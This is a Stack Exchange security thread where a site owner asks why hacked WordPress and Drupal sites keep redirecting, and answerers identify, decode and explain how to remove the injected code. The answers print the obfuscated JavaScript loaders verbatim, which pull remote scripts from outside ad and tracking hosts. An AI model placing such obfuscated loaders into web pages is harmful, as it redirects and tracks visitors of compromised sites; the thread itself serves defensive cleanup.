My sites have been hacked by cpamatik.com , it passes all security checks with Google and Sucuri, but still redirects, any idea? [duplicate]

Question

Almost all my sites got hacked by cpamatik.com virus

All CMS were up to date, plugins, modules etc..(Drupal and Wordpress) , some sites I have logged in to work on, but some sites I haven't touched in months, so the hack wasn't inadvertendly inserted from me login in.

My PC is scanned and clean, actually reformated 2 weeks ago.

Hack sites behavior is a redirect on home page and links.

Site in question are:

wearelao.com xuzo.com easyrconbar.com and many others...

Security scan on my Namecheap.com hosting spitted this out:

----------- SCAN REPORT -----------
TimeStamp: Tue, 11 Sep 2018 14:20:06 -0400
(/usr/sbin/cxs --nobayes --clamdsock /var/clamd --dbreport --defapache nobody --doptions Mv --exploitscan --nofallback --filemax 50000 --noforce --html --ignore /etc/cxs/cxs.ignore.manual --options mMOLfSGchexdnwZDRru --qoptions Mv --report /home/bruneiab/scanreport-bruneiab-Sep_11_2018_14h20m.txt --sizemax 1000000 --ssl --summary --sversionscan --timemax 30 --unofficial --user bruneiab --virusscan --xtra /etc/cxs/cxs.xtra.manual)

Scanning /home/bruneiab:

'/home/bruneiab/access-logs'
# Symlink to [/usr/local/apache/domlogs/bruneiab]

'/home/bruneiab/.nc_plugin/hidden'
# World writeable directory

'/home/bruneiab/.softaculous/installations.php'
# Universal decode regex match = [universal decoder]

'/home/bruneiab/.trash/civicrm/vendor/phpseclib/phpseclib/phpseclib/Net/SFTP.php'
# Regular expression match = [symlink\s*\(]

'/home/bruneiab/.trash/civicrm/vendor/symfony/filesystem/Symfony/Component/Filesystem/Filesystem.php'
# Regular expression match = [symlink\s*\(]   and more...

Hosting company have been on this for 24 hours, but the can't seem to be able to fix it...

Unfortunately, we cannot perform security reviews of your sites or analyse malware for you. — schroeder, Commented Sep 13, 2018 at 10:10

score 20 · Accepted Answer · 2018-09-13 15:18:04Z

I found these javascript on the compromised sites.

<script type="text/javascript" async="" src="https://ads.voipnewswire.net/ad.js"></script>

<script type="text/javascript"><![CDATA[eval(unescape("eval%28function%28p%2Ca%2Cc%2Ck%2Ce%2Cr%29%7Be%3Dfunction%28c%29%7Breturn%28c%3Ca%3F%27%27%3Ae%28parseInt%28c/a%29%29%29+%28%28c%3Dc%25a%29%3E35%3FString.fromCharCode%28c+29%29%3Ac.toString%2836%29%29%7D%3Bif%28%21%27%27.replace%28/%5E/%2CString%29%29%7Bwhile%28c--%29r%5Be%28c%29%5D%3Dk%5Bc%5D%7C%7Ce%28c%29%3Bk%3D%5Bfunction%28e%29%7Breturn%20r%5Be%5D%7D%5D%3Be%3Dfunction%28%29%7Breturn%27%5C%5Cw+%27%7D%3Bc%3D1%7D%3Bwhile%28c--%29if%28k%5Bc%5D%29p%3Dp.replace%28new%20RegExp%28%27%5C%5Cb%27+e%28c%29+%27%5C%5Cb%27%2C%27g%27%29%2Ck%5Bc%5D%29%3Breturn%20p%7D%28%276%207%28a%2Cb%29%7Bn%7B4%282.9%29%7B3%20c%3D2.9%28%22o%22%29%3Bc.p%28b%2Cf%2Cf%29%3Ba.q%28c%29%7Dg%7B3%20c%3D2.r%28%29%3Ba.s%28%5C%27t%5C%27+b%2Cc%29%7D%7Du%28e%29%7B%7D%7D6%20h%28a%29%7B4%28a.8%29a%3Da.8%3B4%28a%3D%3D%5C%27%5C%27%29v%3B3%20b%3Da.w%28%5C%27%7C%5C%27%29%5B1%5D%3B3%20c%3B3%20d%3D2.x%28%5C%27y%5C%27%29%3Bz%283%20i%3D0%3Bi%3Cd.5%3Bi++%294%28d%5Bi%5D.A%3D%3D%5C%27B-C-D%5C%27%29c%3Dd%5Bi%5D%3B4%282.j%28%5C%27k%5C%27%29%3D%3DE%7C%7C2.j%28%5C%27k%5C%27%29.l.5%3D%3D0%7C%7Cc.5%3D%3D0%7C%7Cc.l.5%3D%3D0%29%7BF%286%28%29%7Bh%28a%29%7D%2CG%29%7Dg%7Bc.8%3Db%3B7%28c%2C%5C%27m%5C%27%29%3B7%28c%2C%5C%27m%5C%27%29%7D%7D%27%2C43%2C43%2C%27%7C%7Cdocument%7Cvar%7Cif%7Clength%7Cfunction%7CGTranslateFireEvent%7Cvalue%7CcreateEvent%7C%7C%7C%7C%7C%7Ctrue%7Celse%7CdoGTranslate%7C%7CgetElementById%7Cgoogle_translate_element2%7CinnerHTML%7Cchange%7Ctry%7CHTMLEvents%7CinitEvent%7CdispatchEvent%7CcreateEventObject%7CfireEvent%7Con%7Ccatch%7Creturn%7Csplit%7CgetElementsByTagName%7Cselect%7Cfor%7CclassName%7Cgoog%7Cte%7Ccombo%7Cnull%7CsetTimeout%7C500%27.split%28%27%7C%27%29%2C0%2C%7B%7D%29%29"))/* ]]> */</script>

<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 53, 44, 32, 52, 54, 44, 32, 49, 49, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 57, 44, 32, 49, 49, 53, 44, 32, 49, 49, 57, 44, 32, 49, 48, 53, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 57, 44, 32, 49, 49, 53, 44, 32, 49, 49, 57, 44, 32, 49, 48, 53, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 32, 125));</script>

The last one translates to

var elem = document.createElement('script');
elem.type = 'text/javascript';
elem.async = true;
elem.src = 'https://ads.voipnewswire.net/ad.js';
var alls = document.getElementsByTagName('script');
var nt3 = true;
for (var i = alls.length; i--;) {
    if (alls[i].src.indexOf('voipnewswire') > -1) {
        nt3 = false;
    }
}
if (nt3 == true) {
    document.getElementsByTagName("head")[0].appendChild(elem);
}

The ad.js is

var _paq = _paq || [];
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
var u="https://voipnewswire.innocraft.cloud/";
_paq.push(['setTrackerUrl', u+'piwik.php']);
_paq.push(['setSiteId', '1']);
var d=document, g=d.createElement('script'), 
s=d.getElementsByTagName('script')[0];
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; 
s.parentNode.insertBefore(g,s);
var cloudscr = document.createElement('script'); cloudscr.type = 'text/javascript'; cloudscr.src = https://glasssunshine.cf/glcf.js; cloudscr.async = true; document.getElementsByTagName("head")[0].appendChild(cloudscr);

Which ultimately leads to ads and tracking javascript, https://voipnewswire.innocraft.cloud/piwik.js

These codes are the problem. You can delete these from the templates of your CMSes.

But I would strongly recommend to just back everything up and start from the clean slate because I suspect that your server/hosting provider is compromised or in control of the attacker.

Wow! In what files can I find this code? A whole security team can't figure this out for 24 hours and you find it in 5 minutes? Man, you are brilliant! — Bruno Vincent, Commented Sep 13, 2018 at 5:46
@BrunoVincent It will be in the main/base template of the CMS. You really need some re-consideration about that security team. — user186505, Commented Sep 13, 2018 at 5:49
It has a tracking javascript so ad appearance may vary based on their choices. Please select my answer if it helped. — user186505, Commented Sep 13, 2018 at 5:59
@BrunoVincent Virus scanners aren't magic - the code is perfectly valid, not really suspicious, it just does something you don't want it to do. The only real weird thing is that it's obviously trying to go around sanitization (note the multiple encodings trying to do the same thing; this is probably meant to be injected through e.g. your comments section), but there's plenty of legitimate reasons for doing things like that. In the end, the injected code isn't really different from what e.g. Google Ads do. — Luaan, Commented Sep 13, 2018 at 8:10
Removing malicious files does very little to fix the problem. Finding and identifying the source of the infection and starting from scratch (aka the duplicate this question is now linked to) is the only answer. Removing these files and then reloading from a clean backup will result in the site being reinfected in 5 minutes if the original source is not understood — Conor Mancone, Commented Sep 13, 2018 at 11:28

schroeder · Accepted Answer · 2018-09-13 10:05:27Z

1

I had the same problem a few days ago. More than 15 sites were affected. I installed the "Better Search and Replace" plugin to search for the specific javascript. Then I removed the code (using the replace function) and it seemed to do the job. However, I'm investigating how "they" succeeded in injecting the code.

edited Sep 13, 2018 at 10:05

schroeder♦

132k55 gold badges307 silver badges348 bronze badges

answered Sep 13, 2018 at 9:24

Andreas

111 bronze badge

But these were wordpress sites right? Who are you hosting with also? Mine is with namecheap.com, did you touch any sites, were all your installations up to date?
– Bruno Vincent
Commented Sep 13, 2018 at 9:35
Just search your wordpress version for vulnerabilities. But I will suggest back up everything and install a patched CMS.
– mootmoot
Commented Sep 13, 2018 at 10:18

Add a comment |

mootmoot · Accepted Answer · 2019-05-23 08:37:37Z

1

Just to @Moonsik Park answer : You can use Browser developer mode redirect log preservation features to locate which script do the redirect.

In Google developer mode, it is a "Preserve log" checkbox under network
In firefox developer mode, it is a "Persist Logs"checkbox under network

Take the compromised xuzo.com as example, open the website in browser developer mode and the log presrevation enabled, you can see something like following before it jump to another website

https://ads.voipnewswire.net/ad.js  initiator is 
http://xuzo.com/sites/default/files/js/js_5yveJEfYnvdHe_DxshzrVq3ttzeNp-8Ai8MVx1bt2eo.js

Open the file, you will see something like this in the header

eval(String.fromCharCode(118, 97, 114, 32, 10....

Unfortunately, String.fromCharCode is legitimate Javascript code and frequently used by many website to hide info such as email address from spammer. I doubt security software can use String.fromCharCode as a reason to locate the bad code without generate a lot of false alarm.

However, if you never use such code, a simple fgrep will help you locate the files, e.g.

fgrep -lR 'fromCharCode' '/path/to/cms/'

edited May 23, 2019 at 8:37

answered Sep 13, 2018 at 9:23

mootmoot

2,41712 silver badges16 bronze badges

Thats sounds good, I think I never use such code, these are just Drupal and Worpress sites, how do I run the fgrep, I use Cpanel, is it a simple find and replace?
– Bruno Vincent
Commented Sep 13, 2018 at 9:30
Additionally, it seems the scripts load randomly, only on first page load, second time around the script doesn;t always run, so seems it's made to load randomly or for first time load? So the hosting company thinks it's fixed, but it's not...;(
– Bruno Vincent
Commented Sep 13, 2018 at 9:31
@BrunoVincent I think you should focus on stuff that store inside /sites/default/files/js/. If you cannot find anything there, then you need to check drupal code or web server and see alias path mapping to that path.
– mootmoot
Commented Sep 13, 2018 at 9:41

Add a comment |

Stack Exchange Network

My sites have been hacked by cpamatik.com , it passes all security checks with Google and Sucuri, but still redirects, any idea? [duplicate]

3 Answers 3

Not the answer you're looking for? Browse other questions tagged
account-security
web-hosting
.

Linked

Hot Network Questions

My sites have been hacked by cpamatik.com , it passes all security checks with Google and Sucuri, but still redirects, any idea? [duplicate]

3 Answers 3

Not the answer you're looking for? Browse other questions tagged account-securityweb-hosting.

Linked

Hot Network Questions

Not the answer you're looking for? Browse other questions tagged
account-security
web-hosting
.